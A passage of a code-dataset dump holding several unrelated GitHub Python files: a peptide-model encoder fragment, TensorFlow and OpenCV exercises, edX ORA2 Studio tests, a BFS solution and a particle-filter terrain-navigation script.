name=\"encoder_embedding\"\n )\n hidden = layers.Bidirectional(\n layers.GRU(\n hidden_dim,\n return_sequences=True,\n ),\n name=\"encoder_hidden_bidirectional_1\"\n )\n hidden2 = layers.Bidirectional(\n layers.GRU(\n hidden_dim,\n return_sequences=False,\n ),\n name=\"encoder_hidden_bidirectional_2\"\n )\n\n dense_z_mean = layers.Dense(latent_dim, name=\"encoder_dense_z_mean\")\n dense_z_sigma = layers.Dense(latent_dim, name=\"encoder_dense_z_sigma\")\n return AMPEncoder(\n embedding=emb,\n hidden=hidden,\n hidden2=hidden2,\n hidden_dim=hidden_dim,\n latent_dim=latent_dim,\n input_shape=(max_length, 21),\n dense_z_mean=dense_z_mean,\n dense_z_sigma=dense_z_sigma,\n )\n","repo_name":"szczurek-lab/hydramp","sub_path":"amp/models/encoders/amp_expanded_encoder.py","file_name":"amp_expanded_encoder.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"70"} +{"seq_id":"15900890466","text":"# 크기가 상관없는 정수형 1차원 배열의 placeHolder 만들고\n# 이것의 *2 한 결과를 tensor를 이용하여 출력해 봅시다.\n\nimport tensorflow as tf\n\n# 크기가 정해지지 않은 1차원 배열의 placeHolder를 만들어요\narr = tf.placeholder(tf.int32,[None])\n\n# arr의 *2한 수식을 만들어요\n# result = arr * 2\n# 2를 직접 표현하지 말고 tensor의 상수로 만들어요\n\nn = tf.constant(2)\n\n# 위의 상수를 이용하여 수식을 만들어요\nresult = arr * n\n\n\n# session을 얻어와 위의 수식을 실행시켜요\n# 실행시킬때는 placeHolder의 값을 지정해야 해요\nsess = tf.Session()\nr1 = sess.run(result, feed_dict={arr:[1,2]})\nr2 = sess.run(result, feed_dict={arr:[10,20,30,40,50]})\nx = [7,8,9]\nr3 = sess.run(result, feed_dict={arr:x})\n\nprint(r1)\nprint(r2)\nprint(r3)\n\n\n\n\n","repo_name":"key70/day0412","sub_path":"placeHolderTest02.py","file_name":"placeHolderTest02.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26741547505","text":"#!/usr/bin/python3\nimport re\nfrom random import choice\nfrom hero import hero\nfrom challenge import challenge\n\nheroName = input(\"What is your hero's name? \") or \"Bozo\"\nheroBest = input(\"What is your hero's best skill? \") or \"Clowning\"\nheroMid = input(\"What is your hero's second best skill? \") or \"Juggling\"\nheroWorst = input(\"What is your hero's worst skill? \") or \"Tax Accounting\"\nheroLevel = 0\nmyHero = hero(heroName, heroBest, heroMid, heroWorst, heroLevel)\nwhile True:\n issue = choice([myHero.best, myHero.middling, myHero.worst])\n conflict = 'An old man demands you perform ' + issue + \".\"\n test = challenge(1,issue,conflict)\n test.description['Declined'] = \"Oh fartnuggets!\"\n\n print(test.description['Description'])\n perform = input(\"Will you do it? (Y or N) \")\n if re.match(\"[Yy]\", perform):\n roll = myHero.skills[issue]()\n print(test.accepted(roll))\n else:\n print(test.declined())\n","repo_name":"gooba42/KYOA","sub_path":"KYOA.py","file_name":"KYOA.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"27958452324","text":"\"\"\"\nView-level tests for Studio view of OpenAssessment XBlock.\n\"\"\"\n\nimport copy\nimport datetime as dt\nimport json\nfrom unittest.mock import MagicMock, patch, Mock, PropertyMock\n\nfrom ddt import ddt, file_data\nimport pytz\n\nfrom openassessment.xblock.config_mixin import ConfigMixin\nfrom .base import XBlockHandlerTestCase, scenario\n\n\ndef disable_rubric_reuse(func):\n \"\"\"\n Decorator to disable rubric reuse, since we've mocked away all WaffleFlag calls to be truthy.\n Rubric reuse hits the modulestore, which requires some complicated mocking as implemented currently.\n \"\"\"\n def wrapper(*args, **kwargs):\n with patch.object(ConfigMixin, 'is_rubric_reuse_enabled', PropertyMock(return_value=False)):\n return func(*args, **kwargs)\n return wrapper\n\n\n@ddt\nclass StudioViewTest(XBlockHandlerTestCase):\n \"\"\"\n Test the view and handlers for editing the OpenAssessment XBlock in Studio.\n \"\"\"\n UPDATE_EDITOR_DATA = {\n \"title\": \"Test title\",\n \"text_response\": \"required\",\n \"file_upload_response\": None,\n \"prompts\": [{\"description\": \"Test prompt\"}],\n \"prompts_type\": \"html\",\n \"feedback_prompt\": \"Test feedback prompt\",\n \"feedback_default_text\": \"Test feedback default text\",\n \"submission_start\": \"4014-02-10T09:46\",\n \"submission_due\": \"4014-02-27T09:46\",\n \"date_config_type\": \"manual\",\n \"file_upload_type\": None,\n \"white_listed_file_types\": '',\n \"allow_multiple_files\": True,\n \"show_rubric_during_response\": False,\n \"allow_latex\": False,\n \"leaderboard_show\": 4,\n \"assessments\": [{\"name\": \"self-assessment\"}],\n \"editor_assessments_order\": [\n \"student-training\",\n \"peer-assessment\",\n \"self-assessment\",\n ],\n \"criteria\": [\n {\n \"order_num\": 0,\n \"name\": \"Test criterion\",\n \"label\": \"Test criterion\",\n \"prompt\": \"Test criterion prompt\",\n \"feedback\": \"disabled\",\n \"options\": [\n {\n \"order_num\": 0,\n \"points\": 0,\n \"name\": \"Test option\",\n \"label\": \"Test option\",\n \"explanation\": \"Test explanation\"\n }\n ]\n },\n ]\n }\n\n RUBRIC_CRITERIA = [\n {\n \"order_num\": 0,\n \"name\": \"0\",\n \"label\": \"Test criterion with no name\",\n \"prompt\": \"Test criterion prompt\",\n \"feedback\": \"disabled\",\n \"options\": [\n {\n \"order_num\": 0,\n \"points\": 0,\n \"name\": \"0\",\n \"label\": \"Test option with no name\",\n \"explanation\": \"Test explanation\"\n }\n ]\n },\n {\n \"order_num\": 1,\n \"label\": \"Test criterion that already has a name\",\n \"name\": \"1\",\n \"prompt\": \"Test criterion prompt\",\n \"feedback\": \"disabled\",\n \"options\": [\n {\n \"order_num\": 0,\n \"points\": 0,\n \"name\": \"0\",\n \"label\": \"Test option with no name\",\n \"explanation\": \"Test explanation\"\n },\n {\n \"order_num\": 1,\n \"points\": 0,\n \"label\": \"Test option that already has a name\",\n \"name\": \"1\",\n \"explanation\": \"Test explanation\"\n },\n ]\n }\n ]\n\n ASSESSMENT_CSS_IDS = {\n \"peer-assessment\": \"oa_peer_assessment_editor\",\n \"self-assessment\": \"oa_self_assessment_editor\",\n \"student-training\": \"oa_student_training_editor\",\n \"staff-assessment\": \"oa_staff_assessment_editor\",\n }\n\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.waffle_course_flag_patcher = patch(\n 'openassessment.xblock.config_mixin.import_course_waffle_flag'\n )\n cls.waffle_course_flag_patcher.start()\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cls.waffle_course_flag_patcher.stop()\n\n @scenario('data/basic_scenario.xml')\n def test_default_fields(self, xblock):\n # Default value should not be empty\n self.assertEqual(xblock.fields['title'].default, \"Open Response Assessment\")\n\n @disable_rubric_reuse\n @scenario('data/basic_scenario.xml')\n def test_render_studio_view(self, xblock):\n self._mock_teamsets(xblock)\n frag = self.runtime.render(xblock, 'studio_view')\n self.assertTrue(frag.body_html().find('openassessment-edit'))\n\n @disable_rubric_reuse\n @scenario('data/student_training.xml')\n def test_render_studio_with_training(self, xblock):\n self._mock_teamsets(xblock)\n frag = self.runtime.render(xblock, 'studio_view')\n self.assertTrue(frag.body_html().find('openassessment-edit'))\n\n @scenario('data/basic_scenario.xml')\n def test_render_studio_with_rubric_reuse(self, xblock):\n self._mock_teamsets(xblock)\n with patch.object(xblock, 'get_other_ora_blocks_for_rubric_editor_context') as mock_get_rubrics:\n mock_get_rubrics.return_value = [\n {\n 'location': f'test-location-{i}',\n 'display_name': f'Display Name {i}',\n } for i in range(10)\n ]\n frag = self.runtime.render(xblock, 'studio_view')\n self.assertTrue(frag.body_html().find('openassessment-edit'))\n mock_get_rubrics.assert_called_once()\n\n @file_data('data/update_xblock.json')\n @scenario('data/basic_scenario.xml')\n def test_update_editor_context(self, xblock, data):\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n resp = self.request(xblock, 'update_editor_context', json.dumps(data), response_format='json')\n self.assertTrue(resp['success'], msg=resp.get('msg'))\n\n @scenario('data/basic_scenario.xml')\n def test_include_leaderboard_in_editor(self, xblock):\n xblock.location = Mock()\n self._mock_teamsets(xblock)\n xblock.leaderboard_show = 15\n self.assertEqual(xblock.editor_context()['leaderboard_show'], 15)\n\n @scenario('data/basic_scenario.xml')\n def test_update_editor_context_saves_assessment_order(self, xblock):\n # Update the XBlock with a different editor assessment order\n data = copy.deepcopy(self.UPDATE_EDITOR_DATA)\n data['editor_assessments_order'] = [\n \"student-training\",\n \"peer-assessment\",\n \"self-assessment\",\n \"staff-assessment\",\n ]\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n resp = self.request(xblock, 'update_editor_context', json.dumps(data), response_format='json')\n self.assertTrue(resp['success'], msg=resp.get('msg'))\n self.assertEqual(xblock.editor_assessments_order, data['editor_assessments_order'])\n\n @scenario('data/basic_scenario.xml')\n def test_update_editor_context_saves_leaderboard(self, xblock):\n data = copy.deepcopy(self.UPDATE_EDITOR_DATA)\n data['leaderboard_show'] = 42\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n resp = self.request(xblock, 'update_editor_context', json.dumps(data), response_format='json')\n self.assertTrue(resp['success'], msg=resp.get('msg'))\n self.assertEqual(xblock.leaderboard_show, 42)\n\n @scenario('data/basic_scenario.xml')\n def test_update_editor_context_saves_teams_enabled(self, xblock):\n data = copy.deepcopy(self.UPDATE_EDITOR_DATA)\n data['teams_enabled'] = True\n ts_id = 'selected_teamsetid'\n data['selected_teamset_id'] = ts_id\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n resp = self.request(xblock, 'update_editor_context', json.dumps(data), response_format='json')\n self.assertTrue(resp['success'], msg=resp.get('msg'))\n self.assertTrue(xblock.teams_enabled)\n self.assertEqual(ts_id, xblock.selected_teamset_id)\n\n @file_data('data/invalid_update_xblock.json')\n @scenario('data/basic_scenario.xml')\n def test_update_context_invalid_request_data(self, xblock, data):\n # All schema validation errors have the same error message, so use that as the default\n # Remove the expected error from the dictionary so we don't get an unexpected key error.\n if 'expected_error' in data:\n expected_error = data.pop('expected_error')\n else:\n expected_error = 'error updating xblock configuration'\n\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n resp = self.request(xblock, 'update_editor_context', json.dumps(data), response_format='json')\n self.assertFalse(resp['success'])\n self.assertIn(expected_error, resp['msg'].lower())\n\n @scenario('data/basic_scenario_html_prompts_type.xml')\n def test_update_context_with_prompts_type(self, xblock):\n\n data = copy.deepcopy(self.UPDATE_EDITOR_DATA)\n data['prompts_type'] = 'text'\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n resp = self.request(xblock, 'update_editor_context', json.dumps(data), response_format='json')\n self.assertTrue(resp['success'], msg=resp.get('msg'))\n\n @file_data('data/invalid_rubric.json')\n @scenario('data/basic_scenario.xml')\n def test_update_rubric_invalid(self, xblock, data):\n request = json.dumps(data)\n\n # Store old XBlock fields for later verification\n old_title = xblock.title\n old_prompts = xblock.prompts\n old_assessments = xblock.rubric_assessments\n old_criteria = xblock.rubric_criteria\n\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n\n # Verify the response fails\n resp = self.request(xblock, 'update_editor_context', request, response_format='json')\n self.assertFalse(resp['success'])\n self.assertIn(\"error updating xblock configuration\", resp['msg'].lower())\n\n # Check that the XBlock fields were NOT updated\n # We don't need to be exhaustive here, because we have other unit tests\n # that verify this extensively.\n self.assertEqual(xblock.title, old_title)\n self.assertEqual(xblock.prompts, old_prompts)\n self.assertCountEqual(xblock.rubric_assessments, old_assessments)\n self.assertCountEqual(xblock.rubric_criteria, old_criteria)\n\n @scenario('data/basic_scenario.xml')\n def test_check_released(self, xblock):\n # By default, the problem should be released\n resp = self.request(xblock, 'check_released', json.dumps(\"\"), response_format='json')\n self.assertTrue(resp['success'])\n self.assertTrue(resp['is_released'])\n self.assertIn('msg', resp)\n\n # Set the problem to unpublished with a start date in the future\n xblock.runtime.modulestore = MagicMock()\n xblock.runtime.modulestore.has_published_version.return_value = False\n xblock.start = dt.datetime(3000, 1, 1).replace(tzinfo=pytz.utc)\n resp = self.request(xblock, 'check_released', json.dumps(\"\"), response_format='json')\n self.assertTrue(resp['success'])\n self.assertFalse(resp['is_released'])\n self.assertIn('msg', resp)\n\n @disable_rubric_reuse\n @scenario('data/self_then_peer.xml')\n def test_render_editor_assessment_order(self, xblock):\n self._mock_teamsets(xblock)\n # Expect that the editor uses the order defined by the problem.\n self._assert_rendered_editor_order(xblock, [\n 'student-training',\n 'self-assessment',\n 'peer-assessment',\n 'staff-assessment'\n ])\n\n # Change the order (simulates what would happen when the author saves).\n xblock.editor_assessments_order = [\n 'student-training',\n 'peer-assessment',\n 'self-assessment',\n ]\n xblock.rubric_assessments = [\n xblock.get_assessment_module('peer-assessment'),\n xblock.get_assessment_module('self-assessment'),\n ]\n\n # Expect that the rendered view reflects the new order\n self._assert_rendered_editor_order(xblock, [\n 'student-training',\n 'peer-assessment',\n 'self-assessment',\n 'staff-assessment',\n ])\n\n def _assert_rendered_editor_order(self, xblock, expected_assessment_order):\n \"\"\"\n Render the XBlock Studio editor view and verify that the\n assessments were listed in a particular order.\n\n Args:\n xblock (OpenAssessmentBlock)\n expected_assessment_order (list of string): The list of assessment names,\n in the order we expect.\n\n Raises:\n AssertionError\n\n \"\"\"\n rendered_html = self.runtime.render(xblock, 'studio_view').body_html()\n assessment_indices = [\n {\n \"name\": asmnt_name,\n \"index\": rendered_html.find(asmnt_css_id)\n }\n for asmnt_name, asmnt_css_id\n in self.ASSESSMENT_CSS_IDS.items()\n ]\n actual_assessment_order = [\n index_dict['name']\n for index_dict in sorted(assessment_indices, key=lambda d: d['index'])\n if index_dict['index'] > 0\n ]\n self.assertEqual(actual_assessment_order, expected_assessment_order)\n\n @scenario('data/basic_scenario.xml')\n def test_editor_context_assigns_labels(self, xblock):\n xblock.location = Mock()\n self._mock_teamsets(xblock)\n # Strip out any labels from criteria/options that may have been imported.\n for criterion in xblock.rubric_criteria:\n if 'label' in criterion:\n del criterion['label']\n for option in criterion['options']:\n if 'label' in option:\n del option['label']\n\n # Retrieve the context used to render the Studio view\n context = xblock.editor_context()\n\n # Verify that labels were assigned for all criteria and options\n for criterion in context['criteria']:\n self.assertEqual(criterion['label'], criterion['name'])\n for option in criterion['options']:\n self.assertEqual(option['label'], option['name'])\n\n # Verify the same thing for the training example template\n for criterion in context['assessments']['training']['template']['criteria']:\n self.assertEqual(criterion['label'], criterion['name'])\n for option in criterion['options']:\n self.assertEqual(option['label'], option['name'])\n\n # Verify the same thing for the context for student training examples\n for example in context['assessments']['training']['examples']:\n for criterion in example['criteria']:\n self.assertEqual(criterion['label'], criterion['name'])\n for option in criterion['options']:\n self.assertEqual(option['label'], option['name'])\n\n @disable_rubric_reuse\n @scenario('data/basic_scenario.xml')\n def test_render_studio_with_teamset_names(self, xblock):\n self._mock_teamsets(xblock)\n frag = self.runtime.render(xblock, 'studio_view')\n self.assertTrue(frag.body_html().find('teamset_name_a'))\n self.assertTrue(frag.body_html().find('teamset_id_a'))\n\n @scenario('data/basic_scenario.xml')\n def test_get_teamsets(self, xblock):\n xblock.xmodule_runtime = Mock(\n course_id='test_course',\n anonymous_student_id='test_student',\n )\n xblock.runtime = Mock()\n mock_teams_config = Mock(\n teamsets=[Mock(name=\"tset1\"), Mock(name=\"tset2\")]\n )\n mock_team_configuration_service = Mock()\n mock_team_configuration_service.get_teams_configuration.return_value = mock_teams_config\n xblock.runtime.service.return_value = mock_team_configuration_service\n\n teamsets = xblock.get_teamsets(\"test_course\")\n self.assertEqual([ts.name for ts in teamsets], [ts.name for ts in mock_teams_config.teamsets])\n\n def _mock_teamsets(self, xblock):\n \"\"\"\n Bare bones mock to allow rendering tests to function as before\n \"\"\"\n xblock.get_teamsets = Mock()\n xblock.get_teamsets.return_value = [\n Mock(name=\"teamset_name_a\", teamset_id='teamset_id_a'),\n Mock(name=\"teamset_name_b\", teamset_id='teamset_id_b'),\n ]\n\n @scenario('data/invalid_dates_scenario.xml')\n def test_invalid_dates_still_renders(self, xblock):\n self._mock_teamsets(xblock)\n frag = self.runtime.render(xblock, 'studio_view')\n self.assertTrue(frag.body_html().find('openassessment-edit'))\n","repo_name":"openedx/edx-ora2","sub_path":"openassessment/xblock/test/test_studio.py","file_name":"test_studio.py","file_ext":"py","file_size_in_byte":17428,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"70"} +{"seq_id":"3150702110","text":"from collections import deque\n\n\ndef solution(n, edge):\n graph = [[] for _ in range(n)]\n visited = [False] * n\n for p1, p2 in edge:\n graph[p1 - 1].append(p2 - 1)\n graph[p2 - 1].append(p1 - 1)\n\n answer = 0\n\n mx = 0\n que = deque([(0, 0)])\n visited[0] = True\n while que:\n node, distance = que.popleft()\n\n if distance > mx:\n mx = distance\n answer = 1\n elif distance == mx:\n answer += 1\n\n for adjacent in graph[node]:\n if not visited[adjacent]:\n visited[adjacent] = True\n que.append((adjacent, distance + 1))\n return answer\n\n\ncases = [\n (6, [[3, 6], [4, 3], [3, 2], [1, 3], [1, 2], [2, 4], [5, 2]]),\n]\n\nfor case in cases:\n print(solution(*case))\n","repo_name":"porciuscato/study_algorithm","sub_path":"programmers/49189.py","file_name":"49189.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38097180755","text":"import cv2\nimport numpy as np\nimport matplotlib.pylab as plt\n\nimg=cv2.imread(\"./insightbook.opencv_project_python-master/img/fish.jpg\")\n\n\nrows,cols=img.shape[:2]\n\n\nx,y=100,50\n\nmtrx=np.float32([[1,0,x],\n [0,1,y]])\n\ndst=cv2.warpAffine(img,mtrx,(cols+x,rows+y))\ndst2=cv2.warpAffine(img,mtrx,(cols+x,rows+y),None,cv2.INTER_LINEAR,cv2.BORDER_CONSTANT,(255,0,0))\ndst3=cv2.warpAffine(img,mtrx,(cols+x,rows+y),None,cv2.INTER_LINEAR,cv2.BORDER_REFLECT)\n#dst2,3이 추가되었습니다.\n\ncv2.imshow('original',img)\ncv2.imshow('trans1',dst)\ncv2.imshow('trans2',dst2)\ncv2.imshow('trans3',dst3)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"minh0518/openCV","sub_path":"affine/fish.py","file_name":"fish.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"15500174695","text":"\"\"\"\r\nParticle filter algorithim and simulation code\r\n\"\"\"\r\nfrom datetime import timedelta\r\nimport os\r\nimport json\r\nimport argparse\r\nimport multiprocessing\r\n\r\nfrom scipy.stats import norm\r\nfrom scipy.io import savemat\r\nfrom pandas import DataFrame\r\nfrom xarray import DataArray\r\nfrom haversine import haversine, Unit\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nfrom filterpy.monte_carlo import residual_resample\r\nfrom gmt_tool import get_map_point, get_map_section, inflate_bounds\r\nfrom tools import load_trackline_data\r\nfrom pyins.pyins import earth\r\n\r\nOVERFLOW = 500\r\n\r\n\r\n# Particle filter functions\r\ndef propagate(\r\n particles: np.ndarray,\r\n control: np.ndarray,\r\n dt: float = 1.0,\r\n noise=np.diag([0, 0, 0]),\r\n noise_calibration_mode=False,\r\n) -> np.ndarray:\r\n \"\"\"\r\n Process model according to Groves. State vector is in NED:\r\n [lat, lon, depth, vN, vE, vD]. Controls are currently none, dt is in seconds.\r\n\r\n \"\"\"\r\n n, _ = particles.shape\r\n # Velocity update\r\n if not noise_calibration_mode:\r\n velocity = np.random.multivariate_normal(control, noise, (n,))\r\n else:\r\n velocity = control + np.abs(\r\n np.random.multivariate_normal(np.zeros(3), noise, (n,))\r\n )\r\n\r\n # Depth update\r\n previous_depth = particles[:, 2]\r\n new_depth = previous_depth + 0.5 * (particles[:, 5] + velocity[:, 2]) * dt\r\n # Latitude update\r\n previous_lat = particles[:, 0]\r\n lat_rad = np.deg2rad(previous_lat)\r\n r_n, r_e_0, _ = earth.principal_radii(\r\n previous_lat, np.zeros_like(previous_lat)\r\n ) # pricipal_radii expect degrees\r\n previous_lat = np.deg2rad(previous_lat)\r\n lat_rad = previous_lat + 0.5 * dt * (\r\n particles[:, 3] / (r_n - previous_depth) + velocity[:, 0] / (r_n - new_depth)\r\n )\r\n # Longitude update\r\n _, r_e_1, _ = earth.principal_radii(np.rad2deg(lat_rad), np.zeros_like(lat_rad))\r\n lon_rad = np.deg2rad(particles[:, 1]) + 0.5 * dt * (\r\n particles[:, 4] / ((r_e_0 - previous_depth) * np.cos(previous_lat))\r\n + velocity[:, 1] / ((r_e_1 - new_depth) * np.cos(lat_rad))\r\n )\r\n\r\n particles = np.array([np.rad2deg(lat_rad), np.rad2deg(lon_rad), new_depth]).T\r\n particles = np.hstack([particles, velocity])\r\n return particles\r\n\r\n\r\ndef update_relief(\r\n particles: np.ndarray,\r\n # weights: np.ndarray,\r\n geo_map: DataArray,\r\n observation,\r\n relief_sigma: float,\r\n) -> np.ndarray:\r\n \"\"\"\r\n Measurement update\r\n \"\"\"\r\n\r\n n, _ = particles.shape\r\n observation = np.asarray(observation)\r\n observation = np.tile(observation, (n,))\r\n observation -= particles[:, 2]\r\n z_bar = -get_map_point(geo_map, particles[:, 1], particles[:, 0])\r\n dz = observation - z_bar\r\n w = np.zeros_like(dz)\r\n\r\n inds = np.abs(dz) < OVERFLOW\r\n w[inds] = norm(loc=0, scale=relief_sigma).pdf(dz[inds])\r\n\r\n w[np.isnan(w)] = 1e-16\r\n if np.any(np.isnan(w)):\r\n print(\"NAN elements found\")\r\n w[np.isnana(w)] = 1e-16\r\n\r\n w_sum = np.nansum(w)\r\n try:\r\n new_weights = w / w_sum\r\n except ZeroDivisionError:\r\n return np.ones_like(w) / n\r\n return new_weights\r\n\r\n\r\ndef run_particle_filter(\r\n mu: np.ndarray,\r\n cov: np.ndarray,\r\n n: int,\r\n data: DataFrame,\r\n geo_map: DataArray,\r\n noise: np.ndarray = np.diag([0.1, 0.01, 0]),\r\n measurement_sigma: float = 15,\r\n):\r\n \"\"\"\r\n Run through an instance of the particle filter\r\n \"\"\"\r\n particles = np.random.multivariate_normal(mu, cov, (n,))\r\n weights = np.ones((n,)) / n\r\n error = np.zeros(len(data))\r\n rms_error = np.zeros_like(error)\r\n # Initial values\r\n estimate = [weights @ particles]\r\n rms_error[0] = rmse(particles, (data.iloc[0].LAT, data.iloc[0].LON))\r\n\r\n for i, item in enumerate(data.iterrows()):\r\n if i > 0:\r\n row = item[1]\r\n # Propagate\r\n u = np.asarray([row[\"vN\"], row[\"vE\"], 0])\r\n particles = propagate(particles, u, row[\"DT\"].seconds, noise)\r\n # Update\r\n obs = row[\"CORR_DEPTH\"]\r\n weights = update_relief(particles, geo_map, obs, measurement_sigma)\r\n # Resample\r\n inds = residual_resample(weights)\r\n particles[:] = particles[inds]\r\n # Calculate estimate and error\r\n estimate.append(weights @ particles)\r\n rms_error[i] = rmse(particles, (row.LAT, row.LON))\r\n estimate = np.asarray(estimate)\r\n return estimate, rms_error\r\n\r\n\r\n# Simulation functions\r\ndef process_particle_filter(\r\n path_to_data: str,\r\n configurations: dict,\r\n output_dir: str,\r\n map_type: str = \"relief\",\r\n map_resolution: str = \"15s\",\r\n):\r\n \"\"\"\r\n Process the particle filter for a given set of configurations\r\n \"\"\"\r\n # Load data\r\n data = load_trackline_data(path_to_data)\r\n # Process filepath for name\r\n path, file = os.path.split(path_to_data)\r\n name, ext = os.path.splitext(file)\r\n # Load map\r\n min_lon = data.LON.min()\r\n max_lon = data.LON.max()\r\n min_lat = data.LAT.min()\r\n max_lat = data.LAT.max()\r\n min_lon, min_lat, max_lon, max_lat = inflate_bounds(\r\n min_lon, min_lat, max_lon, max_lat, 0.25\r\n )\r\n geo_map = get_map_section(\r\n min_lon, max_lon, min_lat, max_lat, map_type, map_resolution, name\r\n )\r\n # Load initial conditions\r\n mu = np.asarray([data.iloc[0].LAT, data.iloc[0].LON, 0, 0, 0, 0])\r\n cov = np.asarray(configurations[\"cov\"])\r\n cov = np.diag(cov)\r\n noise = np.asarray(configurations[\"velocity_noise\"])\r\n noise = np.diag(noise)\r\n if map_type == \"relief\":\r\n measurement_sigma = configurations[\"bathy_std\"]\r\n elif map_type == \"gravity\":\r\n measurement_sigma = configurations[\"gravity_std\"]\r\n elif map_type == \"magnetic\":\r\n measurement_sigma = configurations[\"magnetic_std\"]\r\n else:\r\n raise ValueError(\"Map type not recognized\")\r\n\r\n n = configurations[\"n\"]\r\n # Run particle filter\r\n estimate, rms_error = run_particle_filter(\r\n mu, cov, n, data, geo_map, noise, measurement_sigma\r\n )\r\n # Validate output path\r\n if not os.path.exists(os.path.join(output_dir, name, map_type)):\r\n os.makedirs(os.path.join(output_dir, name, map_type))\r\n # Plot results\r\n fig, ax = plot_map_and_trajectory(geo_map, data)\r\n fig.savefig(os.path.join(output_dir, name, map_type, \"map_and_trajectory.png\"))\r\n fig, ax = plot_estimate(geo_map, data, estimate)\r\n fig.savefig(os.path.join(output_dir, name, map_type, \"estimate.png\"))\r\n fig, ax = plot_error(data, rms_error)\r\n fig.savefig(os.path.join(output_dir, name, map_type, \"error.png\"))\r\n plt.close(\"all\")\r\n\r\n\r\n# Error functions\r\ndef rmse(particles, truth):\r\n \"\"\"\r\n root mean square error calculation\r\n \"\"\"\r\n diffs = [haversine(truth, (p[0], p[1]), Unit.METERS) for p in particles]\r\n diffs = np.asarray(diffs)\r\n return np.sqrt(np.mean(diffs**2))\r\n\r\n\r\ndef weighted_rmse(particles, weights, truth):\r\n \"\"\"\r\n Weighted root mean square error calculation\r\n \"\"\"\r\n diffs = [haversine(truth, (p[0], p[1]), Unit.METERS) for p in particles]\r\n diffs = np.asarray(diffs) * weights\r\n return np.sqrt(diffs**2)\r\n\r\n\r\n# Plotting functions\r\n# Plot the map and the trajectory\r\ndef plot_map_and_trajectory(\r\n geo_map: DataArray,\r\n data: DataFrame,\r\n title_str: str = \"Map and Trajectory\",\r\n title_size: int = 20,\r\n xlabel_str: str = \"Lon (deg)\",\r\n xlabel_size: int = 14,\r\n ylabel_str: str = \"Lat (deg)\",\r\n ylabel_size: int = 14,\r\n):\r\n \"\"\"\r\n Plot the trajectory two dimensionally on the map\r\n\r\n Parameters\r\n ----------\r\n geo_map : DataArray\r\n The map to plot on\r\n data : DataFrame\r\n The data to plot\r\n title_str : str\r\n The title of the plot\r\n title_size : int\r\n The size of the title\r\n xlabel_str : str\r\n The x axis label\r\n xlabel_size : int\r\n The size of the x axis label\r\n ylabel_str : str\r\n The y axis label\r\n ylabel_size : int\r\n The size of the y axis label\r\n\r\n\r\n Returns\r\n -------\r\n fig : Figure\r\n The figure object\r\n \"\"\"\r\n min_lon = data.LON.min()\r\n max_lon = data.LON.max()\r\n min_lat = data.LAT.min()\r\n max_lat = data.LAT.max()\r\n fig, ax = plt.subplots(1, 1, figsize=(16, 8))\r\n ax.contourf(geo_map.lon, geo_map.lat, geo_map.data)\r\n ax.plot(data.LON, data.LAT, \".r\", label=\"Truth\")\r\n ax.plot(data.iloc[0].LON, data.iloc[0].LAT, \"xk\", label=\"Start\")\r\n ax.plot(data.iloc[-1].LON, data.iloc[-1].LAT, \"bo\", label=\"Stop\")\r\n ax.set_xlim([min_lon, max_lon])\r\n ax.set_ylim([min_lat, max_lat])\r\n ax.set_xlabel(xlabel_str, fontsize=xlabel_size)\r\n ax.set_ylabel(ylabel_str, fontsize=ylabel_size)\r\n ax.set_title(title_str, fontsize=title_size)\r\n ax.axis(\"image\")\r\n ax.legend()\r\n return fig, ax\r\n # plt.show()\r\n # plt.savefig(f'{name}.png')\r\n\r\n\r\n# Plot the particle filter estimate\r\ndef plot_estimate(\r\n geo_map: DataArray,\r\n data: DataFrame,\r\n estimate: np.array,\r\n title_str: str = \"Particle Filter Estimate\",\r\n title_size: int = 20,\r\n xlabel_str: str = \"Lon (deg)\",\r\n xlabel_size: int = 14,\r\n ylabel_str: str = \"Lat (deg)\",\r\n ylabel_size: int = 14,\r\n):\r\n \"\"\"\r\n Plot the particle filter estimate and the trajectory two dimensionally on the map.\r\n\r\n Parameters\r\n ----------\r\n geo_map : DataArray\r\n The map to plot on\r\n data : DataFrame\r\n The data to plot\r\n estimate : np.ndarray\r\n The estimate to plot\r\n Returns\r\n -------\r\n fig : Figure\r\n The figure object\r\n \"\"\"\r\n min_lon = data.LON.min()\r\n max_lon = data.LON.max()\r\n min_lat = data.LAT.min()\r\n max_lat = data.LAT.max()\r\n fig, ax = plt.subplots(1, 1, figsize=(16, 8))\r\n ax.contourf(geo_map.lon, geo_map.lat, geo_map.data)\r\n ax.plot(data.LON, data.LAT, \".r\", label=\"Truth\")\r\n ax.plot(data.iloc[0].LON, data.iloc[0].LAT, \"xk\", label=\"Start\")\r\n ax.plot(data.iloc[-1].LON, data.iloc[-1].LAT, \"bo\", label=\"Stop\")\r\n\r\n ax.set_xlim([min_lon, max_lon])\r\n ax.set_ylim([min_lat, max_lat])\r\n ax.set_xlabel(xlabel_str, fontsize=xlabel_size)\r\n ax.set_ylabel(ylabel_str, fontsize=ylabel_size)\r\n ax.set_title(title_str, fontsize=title_size)\r\n\r\n ax.plot(estimate[:, 